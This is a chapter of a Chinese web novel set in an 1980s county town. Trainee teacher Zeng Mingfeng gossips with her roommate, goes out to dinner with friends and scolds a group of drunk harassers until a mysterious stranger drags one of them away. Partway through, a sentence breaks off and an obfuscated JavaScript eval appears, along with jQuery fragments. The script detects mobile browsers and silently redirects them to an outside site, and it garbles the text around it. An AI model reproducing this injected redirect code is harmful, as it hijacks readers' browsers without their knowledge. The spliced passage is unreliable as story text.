默认冷灰
24号文字
方正启体

10. 命运的初交集

作者:冻青山本书字数:K更新时间:
    来县里参加培训的乡镇妇女干部(含男性)和幼儿班老师们,统一住宿在县委县政府大院外面的招待所里。


    招待所有三栋四层高的小洋楼,外墙用浅绿色小瓷砖贴出花纹,地面是深绿和深红为基调的水磨石,全体水泥打造,显得十分漂亮。


    寝室都是两人间,基本是按各乡内部分配。偶数的正好组合,出现奇数的乡镇便会随机分配。


    这些女孩子们大多只有十七八岁,基本是第一次住招待所,个个新鲜得很,都相互热络地交起了朋友。


    曾明凤刚好是那个奇数,于是分配到了止戈镇的幼儿班老师当同寝。


    她的室友叫罗文诗,是个温柔腼腆的女孩子,说话声音细细的,特别容易脸红害羞。


    身边还难得出现一个这样羞涩的品种,曾明凤甚至有点惊奇。


    这样的性格,难以想象是怎么敢去面试,还能面试上的?


    等过几天,曾明凤就会发现人不可貌相。


    罗文诗只是表面性格羞涩,实则才华横溢,粉笔字、钢笔字、毛笔字都写得超级好,画得一手好国画,民歌唱得那叫一个婉转动人,甚至还会好几种乐器,妥妥儿的大才女!


    曾明凤到时候就会热情跟对方贴贴。才女,懂音乐,必须贴紧咯,请对方给她狠狠地补一下艺术的课程!


    罗文诗看起来温温柔柔,不爱说话,其实一旦熟悉了,她竟然是个超级爱八卦的人,用那轻柔的声音一本正经地讲各种话题。


    曾明凤从她那里,听到一件据说是轰动止戈的争风吃醋事件:


    “……她写求爱信的时候,农业局那个姓周的帅小伙,还没有女朋友呢……”


    “帅小伙没有回信,她也没有继续写,不知怎么的,一个叫翠真的女孩子打上门来,竟然是冲到止戈乡政府去打架,两个女孩子在政府大院里你踢我打,按得满地打滚……”


    罗文诗讲得兴起,甚至抽出宾馆里的便签纸,铅笔唰唰几下,在那纸上画出一副速写。


    曾明凤:“……”


    好刺激,竟然可以边听故事边看连环画!


    “那个叫翠真的,把人家女孩子的脸都抓伤了……”


    曾明凤皱眉,发表看法,“至于吗?为了争男人下死手啊!”


    冲上别人单位去打架,就足以显得这个叫翠真的蛮横霸道冲动,竟然还抓人家女孩子的脸,这简直就是恶毒了。


    罗文诗猛点头,“就是呀,帅小伙人人都喜欢,听说有上百人给他写过信,这翠真还能一个个都打过不成……”


    “上百人?!”曾明凤趴在白净的招待所单人床上,手里还拿着罗文诗画的速写,“到底能长多帅啊?比咱们中山乡的江同志还帅?”


    罗文诗脸蛋泛起微红,“虽说人间松柏各有其姿,但在我看来,江同志虽然像暖阳,颇有谦谦君子之姿,但比起那个姓周的小伙子,从英武帅气的角度来说,还是要差一些的……”


    曾明凤歪了歪头,“你见过?来,画我看看?”


    罗文诗倒也不客气,唰唰几笔,勾勒出一张瘦削俊俏的脸庞,剑眉飞扬,星目凌光,鼻梁高挺,微微咧开的嘴角还有两颗尖尖的小虎牙,整个人矛盾地杂糅着稚气和野性,眉眼却又能兼并读书人的傲骨。


    他身形劲瘦,肩宽腰窄,似是匆匆而过的时候回头皱眉看了画外人一眼,神情疑惑中带了些戒备,莫名有种野生动物的敏锐感。


    “眉若远山藏龙骨,目似寒潭映奎星……”


    罗文诗信手拈来,在化作上写起了诗。


    曾明凤看着那幅画,瞳孔轻微放大。


    且不说这画中的人有多好看,单说龙骨,奎星……罗文诗也真敢形容!


    传统命理学中的龙骨命,代表了武力、智慧、权威和好运;奎星更不用说,那可是主宰文运和科举的神灵。


    “……文诗,你是不是,也写过那什么,求爱信……”


    曾明凤觉得,这必然是情人眼中出西施了,龙骨奎星,文武双全,还这般相貌,洪雅这种小地方能出这般人物?不信。


    罗文诗扑哧一笑,温温柔柔地说出大逆不道的话,“想多了,红颜和蓝颜过于绝色,都是祸水。我只看,只画,不接触。再说,这个姓周的才刚满十八岁。”


    曾明凤听得发笑,还是个小弟娃呢,“然后呢?那个翠真去打人,之后呢?”


    罗文诗放下笔,把画收起来,“后续不清楚,有听说过翠真跟姓周的帅小伙本来刚谈上,就因为这事在闹分手。话说,你也讲讲你们乡的江同志呀,我承认,他长得也是十分不错!”


    曾明凤默默地注视罗文诗把画着人像的纸收起来,她心中有个小猫爪子轻轻挠动了下,但很快蜷了回去。


    她现在是有对象的人,要个比自己还小一岁的弟娃的画像,简直奇怪至极。


    “江同志……我跟他不怎么熟,没听说他有什么八卦……”


    曾明凤眼神游移,突然意识到,如果江云川有八卦,那八九不离十的就跟自己有关系!


    比如某个幼儿班老师的对象因为吃醋打了江云川,江云川的追求者冲去乡政府,试图找那个幼儿班老师理论……停!别想了,好尴尬!


    罗文诗腼腆的神色里浮现出一丝浅浅的狡黠,她说:


    “我看他跟你很熟悉的样子,还有报道时候县妇联的吴同志,你们看起来是好朋友哦!”


    曾明凤跟罗文诗沉默对视,然后理直气壮,“都是好朋友了,我还能摆人家什么龙门阵。我只能讲他的优点和好话了,听吗?”


    罗文诗来者不拒,“听呀听呀!”嘻嘻嘻,她啥都敢听!


    江云川来敲门的时候,曾明凤正搜肠刮肚地给罗文诗讲八卦,她算是明白了,世间没有白听的故事,娇小温柔的罗文诗才是狠角色。


    打开门看到是江云川,曾明凤还小小尴尬了下。


    旁边的吴爱娇探出头来,高傲地抬了抬小下巴,“明凤!走,带你逛县城,下馆子!”


    曾明凤喜出望外,回头一看罗文诗,好家伙,微笑也太温柔了,眯起来的眼睛里精光闪烁。


    虽然不知道罗文诗会怎么理解,但起码坐实了自己确实是江云川和吴爱娇的朋友了。


    *


    吴爱娇像是一只快乐的孔雀,她骄傲地拽着土鸡般的曾明凤,从西门逛到东门,好好见识了一番县城中的景象。


    八十年代的县城已经有了好些小楼房,一般在四五层,贴着有花形的小瓷砖,窗台也用砖砌出花样。


    也有一些街道还保留了川西老民居的样子,木头两层房,下面是商铺,上面住人。


    街道上大多是自行车,偶尔会开过去一辆汽车,店铺里有许多商品,供销社的商场里还有许多漂亮的衣服。


    吴爱娇买了两条红色的丝巾,一条给曾明凤系上,一条委托曾明凤送给红铃。


    曾明凤很少接受别人的礼物,她不太明白吴爱娇怎么突然热情。


    江云川见曾明凤忐忑,悄悄在一旁提示,“收着吧,没事的,爱娇就是喜欢送朋友东西。”


    想了想,江云川又补充,“她应该是在感谢,上回的你们。”


    朋友?曾明凤心中一暖,想起上次的乌龙事件,她摁下心中那叫嚣着拒绝的自卑,坦然地接受这份善意。


    报道的时候已经是下午,此番出来逛了街,已经超过晚饭时间。


    然而县城和乡镇不一样,县城里竟有许多人是晚上才出来逛街,灯光亮起,街上有许多卖夜宵的铺子摊子。


    这对曾明凤来说是新奇的,农村里牵电线的不多,小型水电站发电不稳定。夜晚若没有月光,那便是漆黑的,萤火虫和星光只会出现在特定的时候。晚上你要出门,得点燃火把,谨防蛇虫和暗处的危险。


    县城这般灯火通明的夜间,柏油水泥的路面干净安全,街道上漂浮着各种食物的香味,她还真是第一次见。


    吴爱娇带着江云川和曾明凤去了一家羊肉铺子,热腾腾的碗碗山羊肉端上来,酱料碟里红色小米辣搭配着香菜青葱和黄色的豆腐乳,鲜香麻辣的味道催人口水直流。


    “上回是云川请客,今天我也请。”


    吴爱娇今天很开心,她往本地特色的矮圆桌旁边一坐,开始聊天。


    江云川也那么往竹编的小凳子上一坐,跟吴爱娇同款姿势,双手放在矮圆桌上,一副等别人拿碗筷的自然姿态。


    “洪雅这个县城还是太小了,拢共才四条长街。”


    “中山乡两条街加起来不到县城半条街长。”曾明凤感叹着,然后站起来,去给这两位稳坐不动弹的少爷小姐拿碗筷。


    吴爱娇和江云川如梦初醒,赶紧站起来接过碗筷,连声道谢。


    三人边吃边随意地聊着话,没过一会儿,羊肉铺子里来了许多客人,其中有一伙年轻人喝得醉醺醺的。


    这群年轻人应该是在什么地方喝了酒,穿着颇有些另类,其中一个花衬衫搭紫色毛衣的小伙子跟吴爱娇对上了眼。


    吴爱娇只是被他们的穿搭吸引,抬头去看,哪


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026286|194423||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    知道跟紫毛衣的小伙子对视了一秒,那小伙子就吹起了口哨,还给她抛了个飞吻。


    吴爱娇眉头一皱,训斥的话脱口而出,“耍什么流氓呢!”


    那小伙子喝了酒,有些上头,听美女说话的口音不那么像本地人,心中荡漾起来,“哟喂,幺妹儿哪里人啊?大晚上的还出来吃东西,来哥哥请你吃呀~!”


    江云川站了起来,他个子比那小伙子高,无形之间有了压迫力,“不需要。”


    按理说,同行人当中有男性出场,对面应该知难而退。


    哪知道今天这群年轻人却十分轻佻,七八个人竟然围了过来,七嘴八舌地搞起了言语骚扰。


    “哟,这左拥右抱的,一带二?”


    “长得不像一家人,嘿嘿,一个人泡两个漂亮妹儿,你太占指标了!”


    “分一个陪我们吃饭噻?”


    “哎分啥子分,我们参与进来,一起吃啊!”


    曾明凤不敢想象,这,这是耍流氓?!


    江云川的脸黑了下去,吴爱娇也是面色铁青,这两人被冒犯到之后,骨子里像是的某种冷意泛了上来。


    “你们是哪里人?叫什么名字?敢这么嚣张?”江云川的声音很低。


    紫毛衣哈哈大笑,“我哪里人,我什么名字,哎,你让这两个美女亲我一口,我就告诉你~”


    说完他还指着曾明凤,也抛了个飞吻。


    曾明凤也怒了,她在村里当幼儿班老师,算得上人人爱戴,平时最泼蛮的大娘都要给她三分礼遇,真的是很久没被人贴脸挑衅过。


    她可不是什么娇滴滴的女孩子,乡村的沟壑里长出的花都带刺,别的不说,骂人那是自小就培养的优良传统。


    怒火上头的曾明凤嗖地站起来,用本地话指着那群人激情开骂:


    “闹锤子闹!妈老汉儿没教过你们家教,老师也没教过你礼貌吗?亲你妈个锤子亲,没断奶回家找你妈亲你个几十百来遍!你们家里没得姊妹还是没得妈妈没得奶奶没得婆婆?满大街都是女人,你们是不是走上去瞄一眼就要发癫?”


    “一群青钩子娃儿毛都没长齐,穿起个花衬衫学个幺蛾子模样,硬是把你们飞上天是不?逢年过节去挂山上坟的时候不晓得作揖磕头,家里祖坟都忘记咋个走了是不?!”


    “喝了二两猫尿醉得要打老虎,穿起个彩色毛衣你们是怪的出奇,自己名字都记不得了还想惹事了?隔壁五百米不到就是公安局,你们怕是洋相出不完就要被拷去游街!”


    江云川:“……”


    吴爱娇:“!!!”


    彩毛衣的一群人:“……”


    好快的语速,好流畅的骂人,好厉的嘴,丝毫没有调戏美女的快感,只有被村妇辱骂后的尴尬和懊恼。


    紫毛衣小伙脸色涨得通红,拿起手边的碗往地上一砸,当即要冲过来跟曾明凤斗殴。


    然而他刚踏出去一步,背后突然冒出来一只手,勒住他的脖子直接往外拽。


    拽他的那人只有一个黑衣背影,个子高高的,身形劲瘦,力气极大,仿佛老鹰抓小鸡一般扯着就走,紫毛衣脸色涨得跟毛衣一个色,一点声音都发不出来,迅速被拖走了。


    剩下的彩毛衣面面相觑,在留下来跟女人对骂和解救兄弟之间犹豫了下,全部转身追着紫毛衣而去。


    一场突如其来的变故,在曾明凤狂风骤雨般的辱骂中,被神秘人打断,危机消失。


    曾明凤远远地看着那个矫健灵敏的身影,总觉得有一丝丝的眼熟。


    江云川一直有些气鼓鼓的,吴爱娇似是也憋着气。


    “派出所怎么搞的,联防队晚上不出来巡街吗?治安这么差…”


    江云川眉头拧得紧。


    吴爱娇冷哼一声,“我记住他们了,跑不掉的,哼!”


    曾明凤为了让这好心请她出来玩的两人开心,不得不讲了好多从罗文诗那里听来的八卦,才把这两人哄开心。


    吃完饭,曾明凤便厚着脸皮打包了一份凉拌羊肉,准备给室友罗文诗带回去。


    吴爱娇十分大方,大手一挥,打包带走。


    罗文诗吃到夜宵,十分开心,又开始跟曾明凤讲八卦。


    曾明凤嗯嗯啊啊地回应着,眼睛扫到罗文诗的画本,脑海里蓦地闪过一个身影。


    她觉得,那个勒着紫毛衣走的黑衣人,跟罗文诗画里的人影很像。


    然后,她把这件事抛之脑后,在很久很久以后,才会从脑海深处的浮光掠影里,拾取出这真正的初遇。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)